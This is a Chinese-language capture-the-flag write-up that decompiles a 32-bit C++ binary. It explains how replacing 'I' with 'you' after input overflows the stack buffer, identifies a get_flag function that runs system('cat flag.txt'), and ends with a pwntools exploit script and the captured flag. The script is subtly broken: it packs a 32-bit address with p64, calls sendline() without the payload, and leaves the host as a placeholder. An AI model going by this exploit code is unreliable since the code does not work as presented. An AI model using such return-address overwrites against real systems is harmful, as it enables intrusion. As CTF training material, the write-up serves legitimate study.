分析

直接拖入ida,F5查看源码:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

查看vuln函数实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
  • 前面就是定义些变量v0,s,v3,v4….
  • 获取用户输入:
    • operator:c++重载函数
1
2
fgets(s, 32, edata);
std::string::operator=(&input, s);
  • 字符串替换准备
    • v4赋值you
    • v6赋值I
1
2
3
4
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
  • 字符替换
1
2
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
  • 资源释放
    • 析构
1
2
3
4
5
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);

fgets函数限制了输入长度,所以这里是安全的,但是后面有个替换操作,就是把I换位you,所以此时需要分析,在长度多少的时候,替换导致栈溢出。点击s,查看stack of vuln:

可以看到s长度为3c,也就是我们需要插入3c/3个I。接下来继续找flag,可以看到有get_flag函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; Attributes: bp-based frame

public get_flag
get_flag proc near
; __unwind {
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], offset command ; "cat flag.txt"
call _system
leave
retn
; } // starts at 8048F0D
get_flag endp

地址为8048F0D

编写exp

1
2
3
4
5
from pwn import *
host = remote(xxx)
buf = b'I' * 20 + b'a' * 4 + p64(0x8048F0d)
host.sendline()
host.interactive()

flag{9ee94946-3ae0-40bd-8978-071146a09e6d}